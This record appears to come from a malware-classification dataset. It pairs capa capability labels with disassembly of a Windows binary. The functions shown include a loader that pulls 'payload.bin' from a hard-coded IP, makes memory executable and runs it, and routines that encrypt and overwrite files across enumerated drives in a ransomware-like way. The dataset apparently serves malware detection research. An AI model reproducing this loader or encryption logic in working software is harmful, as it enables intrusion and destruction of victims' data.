joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400016a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x48
mov rcx, qword [rdx]
call fcn.140001150
cmp eax, 0x1c
ja 0x140001778
lea r9, str.payload.bin
lea rdx, str.120.89.68.34
lea rcx, [rsp + 0x30]
mov r8d, 0x118
mov qword [rsp + 0x50], rsi
call fcn.140001220
lea rdx, [rsp + 0x20]
mov rcx, qword [rax]
mov rax, qword [rax + 8]
mov qword [rdx], rcx
mov qword [rdx + 8], rax
mov rsi, qword [rsp + 0x20]
test rsi, rsi
je 0x140001773
lea rcx, str.dbghelp.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x140001758
mov rdx, qword [rsp + 0x28]
mov qword [rsp + 0x40], rdi
lea rdi, [rax + 0x1000]
lea r9, [rsp + 0x60]
mov rcx, rdi
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [rsp + 0x28]
mov rdx, rsi
mov rcx, rdi
call sub.MSVCR90.dll_memcpy
mov rcx, rsi
call qword [sym.imp.MSVCR90.dll_free]
call rdi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
xor eax, eax
add rsp, 0x48
ret
mov rdx, qword [rsp + 0x28]
lea r9, [rsp + 0x60]
mov r8d, 0x20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rsi
mov rsi, qword [rsp + 0x50]
xor eax, eax
add rsp, 0x48
ret

Function at 0x140001fbb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140005020]
jne 0x140001b9a
rol rcx, 0x10
test cx, 0xffff
jne 0x140001b96
repz ret
ror rcx, 0x10
jmp 0x140001f14
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400051c0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x1400052b8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140001f99
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400051c0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140001fbb
mov rax, qword [rsp + 0x88]
mov qword [0x1400052b8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140005258], rax
mov rax, qword [0x1400052b8]
mov qword [0x140005130], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140005240], rax
mov dword [0x140005120], 0xc0000409
mov dword [0x140005124], 1
mov rax, qword [0x140005020]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140005028]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400051b8], eax
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400032d0]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400051b8], 0
jne 0x140002042
mov ecx, 1
call sub.MSVCR90.dll___crt_debugger_hook
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400028e0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
mov rbp, rsp
mov eax, 4
imul rax, rax, 0
mov ecx, 4
imul rcx, rcx, 4
mov rdx, qword [rbp + 0x100]
mov r8, qword [rbp + 0x108]
mov eax, dword [r8 + rax]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 0
mov ecx, 4
imul rcx, rcx, 5
mov rdx, qword [rbp + 0x100]
mov r8, qword [rbp + 0x108]
mov eax, dword [r8 + rax + 4]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 0
mov ecx, 4
imul rcx, rcx, 6
mov rdx, qword [rbp + 0x100]
mov r8, qword [rbp + 0x108]
mov eax, dword [r8 + rax + 8]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 0
mov ecx, 4
imul rcx, rcx, 7
mov rdx, qword [rbp + 0x100]
mov r8, qword [rbp + 0x108]
mov eax, dword [r8 + rax + 0xc]
mov dword [rdx + rcx], eax
cmp dword [rbp + 0x110], 0x100
jne 0x1400029ca
mov rax, qword [rbp + 0x108]
add rax, 0x10
mov qword [rbp + 0x108], rax
lea rax, str.expand_32_byte_k
mov qword [rbp + 8], rax
jmp 0x1400029d5
lea rax, str.expand_16_byte_k
mov qword [rbp + 8], rax
mov eax, 4
imul rax, rax, 0
mov ecx, 4
imul rcx, rcx, 8
mov rdx, qword [rbp + 0x100]
mov r8, qword [rbp + 0x108]
mov eax, dword [r8 + rax]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 0
mov ecx, 4
imul rcx, rcx, 9
mov rdx, qword [rbp + 0x100]
mov r8, qword [rbp + 0x108]
mov eax, dword [r8 + rax + 4]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 0
mov ecx, 4
imul rcx, rcx, 0xa
mov rdx, qword [rbp + 0x100]
mov r8, qword [rbp + 0x108]
mov eax, dword [r8 + rax + 8]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 0
mov ecx, 4
imul rcx, rcx, 0xb
mov rdx, qword [rbp + 0x100]
mov r8, qword [rbp + 0x108]
mov eax, dword [r8 + rax + 0xc]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 0
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rbp + 0x100]
mov r8, qword [rbp + 8]
mov eax, dword [r8 + rax]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 0
mov ecx, 4
imul rcx, rcx, 1
mov rdx, qword [rbp + 0x100]
mov r8, qword [rbp + 8]
mov eax, dword [r8 + rax + 4]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 0
mov ecx, 4
imul rcx, rcx, 2
mov rdx, qword [rbp + 0x100]
mov r8, qword [rbp + 8]
mov eax, dword [r8 + rax + 8]
mov dword [rdx + rcx], eax
mov eax, 4
imul rax, rax, 0
mov ecx, 4
imul rcx, rcx, 3
mov rdx, qword [rbp + 0x100]
mov r8, qword [rbp + 8]
mov eax, dword [r8 + rax + 0xc]
mov dword [rdx + rcx], eax
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x140002ba0
Capabilities:
Move file

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
mov ecx, 0x7fd7
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140002bcd
xor eax, eax
jmp 0x140002c10
mov rdx, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
call fcn.1400067d0
mov rdx, rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
mov rcx, qword [rbp + 8]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, 1
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x1400039a0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xcf8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x23a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xd18]
mov edx, 0x800
lea rcx, [rbp + 0xd0]
call fcn.140005570
mov edx, 0x68
lea rcx, [rbp + 0x10]
call fcn.140005570
mov edx, 0x18
lea rcx, [rbp + 0x98]
call fcn.140005570
xor eax, eax
mov word [rbp + 0x50], ax
mov dword [rbp + 0x10], 0x68
mov dword [rbp + 0x4c], 1
mov rdx, qword [rbp + 0xcc0]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rax, [rbp + 0x98]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140003aa0
mov edx, 0x2710
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x50]
lea rdx, reloc.WS2_32.dll_closesocket
call fcn.14000a0a0
lea rsp, [rbp + 0xca8]
pop rdi
pop rbp
ret
Function at 0x140004230
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x218]
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x64], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xe8], 0
mov rax, qword [rbp + 0x1e0]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
cmp qword [rbp + 0x88], rax
jge 0x1400043ee
mov rax, qword [rbp + 0x88]
mov rcx, qword [rbp + 0xa8]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0xe8], rax
mov eax, dword [0x140015060]
cmp qword [rbp + 0xe8], rax
jle 0x1400042fb
mov eax, dword [0x140015060]
mov dword [rbp + 0x1b4], eax
jmp 0x140004307
mov eax, dword [rbp + 0xe8]
mov dword [rbp + 0x1b4], eax
mov eax, dword [rbp + 0x1b4]
mov dword [rbp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x24]
mov r8d, dword [rbp + 0x44]
mov rdx, qword [rbp + 0x1e8]
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140004348
cmp dword [rbp + 0x24], 0
jne 0x14000434d
jmp 0x1400043ee
mov eax, dword [rbp + 0x24]
mov rcx, qword [rbp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
mov eax, dword [rbp + 0x24]
mov dword [rbp + 0x64], eax
mov rax, qword [rbp + 0x1e0]
add rax, 0x18
mov r9d, dword [rbp + 0x24]
mov r8, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x1e8]
mov rcx, rax
call fcn.140001850
mov eax, dword [rbp + 0x24]
neg rax
mov qword [rbp + 0xc8], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0xc8]
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x1400043c3
jmp 0x1400043ee
mov r8d, dword [rbp + 0x64]
mov rdx, qword [rbp + 0x1e8]
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rax + 8]
call fcn.140005480
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x1400043e9
jmp 0x1400043ee
jmp 0x1400042af
mov eax, 1
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.14000a0a0
mov eax, edi
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x140004420
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x218]
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov dword [rbp + 0x64], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0xa8], 0x100000
mov rax, qword [rbp + 0xa8]
cmp qword [rbp + 0x88], rax
jge 0x1400045d7
mov rax, qword [rbp + 0x88]
mov rcx, qword [rbp + 0xa8]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0xe8], rax
mov eax, dword [0x140015060]
cmp qword [rbp + 0xe8], rax
jle 0x1400044e4
mov eax, dword [0x140015060]
mov dword [rbp + 0x1b4], eax
jmp 0x1400044f0
mov eax, dword [rbp + 0xe8]
mov dword [rbp + 0x1b4], eax
mov eax, dword [rbp + 0x1b4]
mov dword [rbp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x24]
mov r8d, dword [rbp + 0x44]
mov rdx, qword [rbp + 0x1e8]
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140004531
cmp dword [rbp + 0x24], 0
jne 0x140004536
jmp 0x1400045d7
mov eax, dword [rbp + 0x24]
mov rcx, qword [rbp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
mov eax, dword [rbp + 0x24]
mov dword [rbp + 0x64], eax
mov rax, qword [rbp + 0x1e0]
add rax, 0x18
mov r9d, dword [rbp + 0x24]
mov r8, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x1e8]
mov rcx, rax
call fcn.140001850
mov eax, dword [rbp + 0x24]
neg rax
mov qword [rbp + 0xc8], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0xc8]
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x1400045ac
jmp 0x1400045d7
mov r8d, dword [rbp + 0x64]
mov rdx, qword [rbp + 0x1e8]
mov rax, qword [rbp + 0x1e0]
mov rcx, qword [rax + 8]
call fcn.140005480
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x1400045d2
jmp 0x1400045d7
jmp 0x140004498
mov eax, 1
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.14000a0a0
mov eax, edi
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x140004c20
Capabilities:
Encrypt or decrypt via wincrypt
Generate random numbers via winapi

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x148]
mov dword [rbp + 4], 0x28
mov rax, qword [rbp + 0x110]
add rax, 0x60
mov r8, rax
mov edx, 0x20
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x140004c88
xor eax, eax
jmp 0x140004da9
mov rax, qword [rbp + 0x110]
add rax, 0x58
mov r8, rax
mov edx, 8
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x140004cb3
xor eax, eax
jmp 0x140004da9
mov rax, qword [rbp + 0x110]
add rax, 0x18
mov edx, 0x40
mov rcx, rax
call fcn.140005570
mov rax, qword [rbp + 0x110]
add rax, 0x60
mov rcx, qword [rbp + 0x110]
add rcx, 0x18
mov r9d, 0x40
mov r8d, 0x100
mov rdx, rax
call fcn.1400028e0
mov rax, qword [rbp + 0x110]
add rax, 0x58
mov rcx, qword [rbp + 0x110]
add rcx, 0x18
mov rdx, rax
call fcn.140002840
mov rax, qword [rbp + 0x110]
add rax, 0x60
mov rcx, qword [rbp + 0x110]
add rcx, 0x80
mov r8d, 0x20
mov rdx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x110]
add rax, 0x58
mov rcx, qword [rbp + 0x110]
add rcx, 0xa0
mov r8d, 8
mov rdx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x110]
add rax, 0x80
mov dword [rsp + 0x30], 0x20c
lea rcx, [rbp + 4]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
jne 0x140004da4
xor eax, eax
jmp 0x140004da9
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14000e0a0]
call fcn.14000a0a0
mov rax, rdi
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x140005140
Capabilities:
Check if file exists
Get file attributes
Get file size
Set file attributes

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov rax, qword [rbp + 0x140]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
je 0x1400051b5
mov eax, dword [rbp + 4]
and eax, 1
test eax, eax
je 0x1400051b5
mov eax, dword [rbp + 4]
xor eax, 1
mov edx, eax
mov rax, qword [rbp + 0x140]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rax, qword [rbp + 0x140]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, qword [rbp + 0x140]
mov qword [rcx + 8], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0x140]
cmp qword [rax + 8], 0xffffffffffffffff
jne 0x140005287
cmp dword [rbp + 0x24], 0x20
je 0x140005217
cmp dword [rbp + 0x24], 0x21
jne 0x140005283
mov rax, qword [rbp + 0x140]
mov rcx, qword [rax]
call fcn.140004dd0
test eax, eax
je 0x14000527d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rax, qword [rbp + 0x140]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, qword [rbp + 0x140]
mov qword [rcx + 8], rax
mov rax, qword [rbp + 0x140]
cmp qword [rax + 8], 0xffffffffffffffff
jne 0x14000527b
xor eax, eax
jmp 0x1400052d0
jmp 0x140005281
xor eax, eax
jmp 0x1400052d0
jmp 0x140005287
xor eax, eax
jmp 0x1400052d0
lea rdx, [rbp + 0x48]
mov rax, qword [rbp + 0x140]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400052a7
cmp qword [rbp + 0x48], 0
jne 0x1400052bc
mov rax, qword [rbp + 0x140]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400052d0
mov rax, qword [rbp + 0x140]
mov rcx, qword [rbp + 0x48]
mov qword [rax + 0x10], rcx
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14000e290]
call fcn.14000a0a0
mov rax, rdi
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x140005320
Capabilities:
Clear file content

Disassembly:
mov byte [rsp + 0x18], r8b
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x178]
mov eax, 1
imul rax, rax, 0
movzx ecx, byte [rbp + 0x158]
mov byte [rbp + rax + 0x48], cl
mov eax, 1
imul rax, rax, 1
movzx ecx, byte [rbp + 0x160]
mov byte [rbp + rax + 0x48], cl
mov rax, qword [rbp + 0x150]
add rax, 0x10
lea rcx, [rbp + 0x4a]
mov r8d, 8
mov rdx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x28], 0
mov r9d, 2
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x150]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x1400053cb
xor eax, eax
jmp 0x140005457
mov rax, qword [rbp + 0x150]
add rax, 0x80
mov r8d, 0x20c
mov rdx, rax
mov rax, qword [rbp + 0x150]
mov rcx, qword [rax + 8]
call fcn.140005480
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x1400053fe
xor eax, eax
jmp 0x140005457
mov r8d, 0xa
lea rdx, [rbp + 0x48]
mov rax, qword [rbp + 0x150]
mov rcx, qword [rax + 8]
call fcn.140005480
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140005425
xor eax, eax
jmp 0x140005457
mov rax, qword [rbp + 0x150]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x150]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.14000a0a0
mov rax, rdi
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret

Function at 0x140005480
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x198]
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov eax, dword [rbp + 0x170]
mov dword [rbp + 0x44], eax
mov dword [rbp + 0x64], 0
mov eax, dword [rbp + 0x170]
cmp dword [rbp + 4], eax
je 0x140005547
mov eax, dword [rbp + 0x64]
mov rcx, qword [rbp + 0x168]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x24]
mov r8d, dword [rbp + 0x44]
mov rdx, rax
mov rcx, qword [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x14000551a
cmp dword [rbp + 0x24], 0
jne 0x14000551e
xor eax, eax
jmp 0x14000554c
mov eax, dword [rbp + 0x24]
mov ecx, dword [rbp + 0x64]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x64], eax
mov eax, dword [rbp + 0x24]
mov ecx, dword [rbp + 4]
add ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
mov eax, dword [rbp + 0x24]
mov ecx, dword [rbp + 0x44]
sub ecx, eax
mov eax, ecx
mov dword [rbp + 0x44], eax
jmp 0x1400054d4
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14000de50]
call fcn.14000a0a0
mov rax, rdi
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x1400056e0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x208
lea rbp, [rsp + 0x20]
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov dword [rbp + 0x64], eax
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xc8], 0
mov rax, qword [rbp + 0x200]
mov rcx, qword [rbp + 0x200]
mov qword [rax + 8], rcx
mov rax, qword [rbp + 0x200]
mov rcx, qword [rbp + 0x200]
mov qword [rax], rcx
cmp dword [rbp + 0x64], 0
jne 0x140005766
xor eax, eax
jmp 0x1400058e6
mov eax, dword [rbp + 0x64]
inc eax
mov eax, eax
shl rax, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x140005791
xor eax, eax
jmp 0x1400058e6
mov rdx, qword [rbp + 0x88]
mov ecx, dword [rbp + 0x64]
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0xa8], rax
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x1400058d6
mov ecx, 0x18
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
jne 0x1400057f9
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor eax, eax
jmp 0x1400058e6
mov ecx, 0x208
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, qword [rbp + 0xc8]
mov qword [rcx], rax
mov r8d, 0x208
xor edx, edx
mov rax, qword [rbp + 0xc8]
mov rcx, qword [rax]
call sub.VCRUNTIME140.dll_memset
mov r8, qword [rbp + 0xa8]
mov edx, 0x104
mov rax, qword [rbp + 0xc8]
mov rcx, qword [rax]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov rax, qword [rbp + 0x200]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov rax, qword [rax + 8]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0x108]
mov qword [rax + 8], rcx
mov rax, qword [rbp + 0xc8]
mov rcx, qword [rbp + 0xe8]
mov qword [rax + 0x10], rcx
mov rax, qword [rbp + 0xc8]
add rax, 8
mov rcx, qword [rbp + 0xe8]
mov qword [rcx], rax
mov rax, qword [rbp + 0xc8]
add rax, 8
mov rcx, qword [rbp + 0x108]
mov qword [rcx + 8], rax
mov eax, dword [rbp + 0x24]
inc eax
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 4]
inc eax
cdqe
mov rcx, qword [rbp + 0xa8]
lea rax, [rcx + rax*2]
mov qword [rbp + 0xa8], rax
jmp 0x1400057af
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [rbp + 0x24]
lea rsp, [rbp + 0x1e8]
pop rdi
pop rbp
ret
Function at 0x140007070
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x178]
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x7010
mov edx, 0xffff
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.WS2_32.dll_setsockopt]
mov dword [rbp + 4], eax
mov dword [rbp + 0x44], 4
cmp dword [rbp + 4], 0
je 0x1400070d3
xor eax, eax
jmp 0x140007114
lea rax, [rbp + 0x44]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x24]
mov r8d, 0x700c
mov edx, 0xffff
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.WS2_32.dll_getsockopt]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140007105
xor eax, eax
jmp 0x140007114
